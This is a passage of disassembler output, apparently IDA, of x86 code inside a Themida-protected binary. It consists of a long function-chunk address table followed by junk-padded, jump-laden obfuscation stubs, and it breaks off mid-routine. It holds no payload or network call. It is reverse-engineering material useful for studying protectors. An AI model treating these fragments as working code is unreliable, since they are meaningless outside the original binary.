; FUNCTION CHUNK AT 0059AFA9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059AFD7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059B0DB SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0059B113 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059B154 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059B187 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059B1AD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059B29D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059B311 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059B330 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059B39C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059B41B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B44A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059B498 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059B4C4 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059B502 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0059B596 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B65D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059B6A9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B6F6 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059B727 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059B788 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059B888 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B8F9 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0059B957 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059B9A3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B9B4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059B9DD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B9ED SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059BA49 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059BA96 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059BBC3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059BC94 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059BD81 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059BDEE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059BE2C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059BEFB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C023 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C06D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059C098 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C144 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C1AB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059C1C4 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059C2BC SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059C328 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C396 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C403 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C422 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C4C7 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0059C521 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059C5C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C60B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059C68A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C6FA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C71D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059C773 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059C7C9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C825 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059C979 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CA80 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CA90 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059CB1C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059CB66 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059CB8F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059CBD8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059CC50 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059CCC3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CCEB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059CDB0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CDEE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059CE21 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059CEC8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059CEEC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CF1F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059CFA1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059D08C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D0AF SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059D1A2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059D21E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059D24E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D27C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D2AA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059D2FA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059D369 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D412 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D490 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059D51D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059D5A5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059D5EE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059D664 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D685 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D6A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D6E4 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0059D745 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059D7DD SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0059D840 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059D865 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059D917 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059D937 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059D97C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059DA5E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059DAB4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059DB0E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059DBB5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059DBE4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059DC94 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059DD6E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059DD9F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059DE23 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059DE7A SIZE 0000004E BYTES
; FUNCTION CHUNK AT 0059DEEA SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059DF9E SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0059E000 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0059E0C3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E0D1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E135 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E1C2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E1F5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E257 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059E2A7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059E32A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E38A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E4DA SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0059E577 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0059E5CA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059E5FC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E720 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059E775 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E7E4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E987 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E9A7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059EA73 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059EA83 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059EAC8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059EAE9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059EBB0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059EBFE SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0059EC9F SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0059ED98 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059EDE4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059EE4C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059EE7F SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0059EECD SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059EF3E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059EFA3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059F05A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059F0B4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059F197 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059F1FD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059F268 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059F334 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059F3C5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F3E4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F420 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059F444 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059F52E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059F5D2 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059F60B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059F633 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F65C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F6E1 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 0059F829 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F872 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F8FE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F95B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F9AD SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059FA41 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059FAA5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059FB05 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059FB4B SIZE 0000005D BYTES
; FUNCTION CHUNK AT 0059FBDB SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0059FC83 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059FD11 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059FDA1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059FE06 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0059FE7E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059FED8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059FF3E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059FF74 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059FFCE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A0044 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A019A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A01FF SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A02AA SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005A0331 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A03D2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A0435 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A046E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A055B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A05BC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A05E8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A0751 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005A07A3 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A0875 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A0897 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A0914 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A09FD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A0A7E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A0AE2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A0B07 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0C20 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A0C62 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A0C76 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A0CA9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0D29 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005A0D6A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0D7F SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A0DE1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0E09 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005A0E9D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0EB8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A0EE7 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A0F83 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A105C SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005A10B7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A10E8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A114F SIZE 00000045 BYTES
; FUNCTION CHUNK AT 005A11BB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A11EB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A1237 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005A129F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1320 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A1387 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005A13FD SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A145A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A148D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A14EF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A159D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A160F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1638 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A175B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A176B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A18B8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A18FE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A196D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1994 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1A20 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A1B23 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A1B5A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1BC3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1BE0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A1C3E SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005A1D0A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1DAD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1E10 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1E4C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A1F1D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A1F81 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A2069 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A2097 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A20AC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A219C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A21C1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A220F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A22D8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2366 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A2390 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A23B0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A240F SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A24F6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2524 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A25C5 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005A2640 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A267F SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005A2782 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A2858 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A2940 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A29A2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A29BD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A2A1A SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A2A99 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 005A2B2F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2B8E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2BCC SIZE 00000050 BYTES
; FUNCTION CHUNK AT 005A2C6E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2CA2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2D32 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2D4E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2D7D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2DBF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A2E2B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A2E82 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2EF0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A2F24 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A2FB0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3027 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3059 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A30CF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3110 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3155 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A3183 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A31A1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A31EB SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A32DC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3308 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3379 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A352B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A35AB SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005A3620 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A36EB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A3720 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A378B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A37E2 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005A396C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A3992 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A3A1C SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A3A80 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005A3B10 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A3B62 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A3BAB SIZE 0000004D BYTES
; FUNCTION CHUNK AT 005A3C72 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3CD5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3D52 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A3D8B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A3DD4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A3E07 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3E43 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3ED5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A3F4C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3FB4 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A3FE3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4077 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A40D3 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005A41B8 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A4270 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A42C3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A42FD SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A4402 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4445 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A44BC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A45B8 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A4670 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A46AB SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A46EC SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A4727 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4755 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4768 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4834 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A48EA SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A494F SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005A4A1B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A4A48 SIZE 00000054 BYTES
; FUNCTION CHUNK AT 005A4AE4 SIZE 0000006F BYTES
; FUNCTION CHUNK AT 005A4B71 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4BE8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A4C50 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A4C8E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A4CBB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4CCE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A4D4F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A4DF7 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005A4F5D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A4F94 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A4FDF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A500A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A5036 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A50B3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A50F1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A5128 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A51D7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A5246 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A5278 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A52C5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A5343 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A538B SIZE 0000005B BYTES
; FUNCTION CHUNK AT 005A5416 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A5439 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 005A5492 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A54B8 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A5503 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A551F SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A55D1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A5641 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 005A56AC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A56DF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A5700 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A5814 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A585A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A5905 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A59AA SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A59DF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A59F4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A5A36 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A5AD5 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A5BDA SIZE 0000000D BYTES
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp-0Ch+arg_4]
pop esp
add edi, 4
sub edi, 2
sub esp, 4
mov [esp-0Ch+arg_4], edi
push [esp-0Ch+arg_8]
pop edi
pop [esp-0Ch+arg_4]
pop esp
mov word ptr [esp-14h+arg_C], dx
push eax
mov al, 0D6h
push ecx
jmp loc_594384
; ---------------------------------------------------------------------------
loc_593949: ; CODE XREF: Themida_:00596821j
mov esi, [esp-0Ch+arg_4]
jmp loc_595715
; ---------------------------------------------------------------------------
loc_593951: ; CODE XREF: sub_5999A4+6BB2j
pop ebp
jmp loc_5A59DF
; ---------------------------------------------------------------------------
loc_593957: ; CODE XREF: Themida_:0059A258j
push edx
push edi
push 1C2846B3h
pop edi
shr edi, 4
shr edi, 3
jmp loc_5A30CF
; ---------------------------------------------------------------------------
loc_59396A: ; CODE XREF: Themida_:005A1913j
pop edx
add [esp-0Ch+arg_8], ebx
jmp loc_5985A8
; ---------------------------------------------------------------------------
loc_593974: ; CODE XREF: sub_59B20A-5C87j
mov ecx, 5A36049Fh
not ecx
not ecx
dec ecx
inc ecx
or ecx, 63B37A93h
jmp loc_5A2E48
; ---------------------------------------------------------------------------
loc_59398A: ; CODE XREF: sub_59C8A4-5481j
push edi
jmp sub_598BAA
; ---------------------------------------------------------------------------
loc_593990: ; CODE XREF: sub_59F4D4+19F2j
inc ebx
add ebx, 0DFE5F28Dh
jmp loc_592FCF
; ---------------------------------------------------------------------------
loc_59399C: ; CODE XREF: Themida_:0059D277j
add ebp, ecx
jmp loc_5993B6
; ---------------------------------------------------------------------------
loc_5939A3: ; CODE XREF: Themida_:00599A6Ej
push [esp-8+arg_0]
pop edi
push eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp+0]
xor [esp+0], eax
xor eax, [esp+0]
mov esp, [esp+0]
add edi, 4
push ebx
mov ebx, esp
jmp loc_59216B
; ---------------------------------------------------------------------------
loc_5939CE: ; DATA XREF: Themida_:005909B8o
push dword ptr [esp+0]
jmp loc_5983E0
; ---------------------------------------------------------------------------
loc_5939D6: ; CODE XREF: Themida_:00591630j
pop edi
xor esi, 78A91B9Ch
push esi
jmp loc_5A2CAB
; ---------------------------------------------------------------------------
loc_5939E3: ; CODE XREF: sub_59D9FE-1A84j
mov [esp+4+var_4], esi
mov esi, 132E0B31h
dec esi
push 7414h
mov [esp+8+var_8], eax
jmp loc_595575
; ---------------------------------------------------------------------------
loc_5939F9: ; CODE XREF: sub_59BCC8+49FDj
add edx, edi
jmp loc_5943C5
; ---------------------------------------------------------------------------
loc_593A00: ; CODE XREF: sub_59390B+A80j
xor dl, al
pop eax
sub al, 9Bh
sub al, dl
add al, 9Bh
pop dx
sub al, bl
jmp sub_591FC5
; ---------------------------------------------------------------------------
loc_593A12: ; CODE XREF: sub_59390B-1202j
push edx
jmp loc_594F52
; ---------------------------------------------------------------------------
loc_593A18: ; CODE XREF: sub_59390B+5047j
add ecx, edi
pop edi
xchg ecx, [esp-10h+arg_8]
pop esp
xchg ecx, [esp-14h+arg_C]
mov esp, [esp-14h+arg_C]
jmp sub_59F8C2
; ---------------------------------------------------------------------------
loc_593A2A: ; CODE XREF: sub_5A0D58-4AECj
add ecx, edx
pop edx
push eax
mov eax, 4
